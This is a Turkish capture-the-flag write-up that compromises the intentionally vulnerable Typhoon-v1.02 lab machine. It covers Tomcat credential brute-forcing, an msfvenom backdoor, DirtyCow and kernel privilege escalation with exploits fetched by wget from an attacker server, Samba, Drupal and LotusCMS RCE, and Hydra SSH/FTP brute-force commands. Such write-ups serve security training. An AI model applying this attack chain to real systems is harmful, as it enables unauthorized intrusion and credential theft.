Typhoon-v1.02 WRITEUP
Hazırlayanlar: Alp Eren Işık Feyzi Yuşa Karababa
PRISMA CSI tarafından hazırlanan Typhoon-v1.02 makinesini elimizden geldiği kadar çözmeye çalıştık ve sizler için ufak bir writeup hazırladık. Biz çözerken çok zevk aldık umarım sizler içinde zevkli bir writeup olur. ***
NMAP
İlk aşamada Nmap ile port taraması yaparak çalışan servisleri ve versiyonları öğrendik. Devamında bu servisler ve versiyonları üzerinden mevcut exploitleri araştıracağız.
Apache Tomcat
Metasploit kullanarak use auxiliary/scanner/http/tomcat_mgr_login scanner kullanarak tomcat parolasını bulmaya çalışıyoruz.
Aşşağıda gördüğünüz gibi tomcat username ve password bulmuş oluyoruz
Daha sonra 10.242.24.216:8080/manager adresine giderek bulmuş olduğumuz username (tomcat)
ve password (tomcat)
ile giriş yapıyoruz.
Giriş yaptıktan sonra tekrar Metasploitimize geri dönüyoruz ve msfvenom ile backdoor oluşturuyoruz.
Daha sonra oluşturmuş olduğumuz bu backdooru girmiş olduğumuz tomcat üzerinden deploy ediyoruz
Deploy ettikten sonra tekrar Metasploitimize gelerek use exploit/multi/handler
yazıyoruz daha sonra modülümüze bağlanacağımız backdoor payloadımızı ve bilgilerimizi giriyoruz.
Artık tarayıcımızdan 10.242.24.216:8080/manager/typhoon/lyrzruiw.jsp
adresine girebiliriz.
Bu aşamadan sonra sunucuda ROOT olmaya çalışacağız.
Yetki Yükseltme - 1 (dirtycow)
https://www.exploit-db.com/exploits/40616 Backconnect olduğumuz makinemizde **C** kodunu derleyemediğimiz için derleme işlemini uzak sunucuda gerçekleştirmeye karar verdik.
Uzak sunucumuzda wget https://www.exploit-db.com/raw/40616/index.html
ile komutları çektik ve uzak sunucumuzda bunu derledik. Daha sonra Typhoon makinesinde wget https://sunucu_adresi/prisma
diyerek derlenmiş C kodunu makinemize yüklemiş olduk. Derleyip wget ile çekmiş olduğumuz exploitimizi makinemizde çalıştırdık ve ROOT olduk. Son olarak echo 0 > /proc/sys/vm/dirty_writeback_centisecs
komutunu girerek exploitimizin stabil olmasını sağlayarak sunucunun crash olmasını engelliyoruz. :)
Yetki Yükseltme - 2 (Ubuntu Kernel Exploit)
https://www.exploit-db.com/exploits/37292/ Yukarıda anlatmış olduğumuz işlemleri bu exploitimiz ile de uygulayarak `wget https://sunucu_adresi/ubn` ile çekmiş olduğumuz exploitimizi makinemizde çalıştırarak **ROOT** oluyoruz. :)
Samba smbd 3.X - 4.X (ROOT)
Github Code = https://github.com/rapid7/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
Çalışan versiyonda bir exploit olduğunu öğrendik. Githubda bulduğumuz kodu wget
ile /opt/metasploit/modules/exploits/linux/samba/ dizini altına is_known_pipename.rb ismiyle kaydettik. Daha sonra metasploit üzerinden exploiti kullanarak makinemizde ROOT olduk. :)
NOT: Eğer bu aşamadan sonra root olmaz ise devamında dirtycow ile rootlayabilirsiniz.
Phpmyadmin Username && Password
Sunucumzuda root olduktan sonra içeriye bir de shell atalım dedik. Shellimizden dizinleri ve dosyaları gezerken /var/www/html/dvwa/config/config.inc.php
dosyası içerisinde phpmyadmin kullanıcı adı ve parolasını bulduk.
Kullanıcı Adı ve Parolası
Shellimizi attıktan sonra bir de mongoadmin dikkatimizi çekti ve biz de http://192.168.43.114/mongoadmin/
adresine gittik.
credentials Bir değişiklik yapmadan bu şekilde aratıyoruz.
creds (2)
Kullanıcı adı ve parolasını öğrenmiş olduk.
URL= http://192.168.43.114/mongoadmin/index.php?db=credentials&action=listRows&collection=creds
Username : typhoon
&& Password : 789456123
PostgreSQL DB 9.3.3 - 9.3.5 Exploit ile Dosya Okuma
Çalışan PostgreSQL sürümünde dosyaları okumamıza imkan sağlayan bir exploit olduğunu farkettik. ve Metasploitimiz ile işe koyulmaya başladık :)
auxiliary/admin/postgres/postgres_readfile
Not: 'exploit' yerine 'set RFILE ../okunacak_dosya' komutu ile dosyaları okuyabilirsiniz
Drupal-8 RCE
view-source:http://192.168.1.60/drupal diyerek drupalın sürümünün 8 olduğunu öğrendikten sonra aklımıza Drupal-8 de bulunan RCE geldi.
Drupal RCE CVE-2018-7600 : https://www.exploit-db.com/exploits/44448/
Drupalın register bölümünde mevcut olan RCE
zaafiyeti.
Bunun dışında şöyle bir yöntem izlenebilir , drupalın default olarak config dosyası sites/default/settings.php de bulunmakta. Bunu RCE
açığı ile okuyup database username ve password bilgileri alınıp phpmyadmine giriş yapılabilir.
NOT: Post olarak gönderdiğimizde ilk olarak shell atmaya çalıştık fakat drupalın dizininde yazma izni yoktu. Ardından pwd komutu ile bulunduğu dizini öğrendik. Sonra var/www/html dizininde yazma izni olduğunu gördük ve shellimizi yükledik. :)
LotusCMS RCE Exploit
use exploit/multi/http/lcms_php_exec
https://www.exploit-db.com/exploits/18565/ Sistemin kullandığı CMS yazılımının LotusCMS olduğunu öğrendik ve google'da kısa bir araştırma yaptıktan sonra **RCE** exploitinin olduğunu gördük. Daha sonra kullanacağımız exploiti ve bilgilerimizi girdikten sonra `exploit` diyerek çalıştırıyoruz.
Brute Force ile Parola Tespiti
Burada Hydra ile SSH ve FTP ‘ye brute force yaparak parolayı bulduk.
hydra -t 1 -l typhoon -P /home/fkarababa/Masaüstü/pass.txt -vV 192.168.1.60 ssh
hydra -t 1 -l typhoon -P /home/fkarababa/Masaüstü/pass.txt -vV 192.168.1.60 ftp
***
SSH
FTP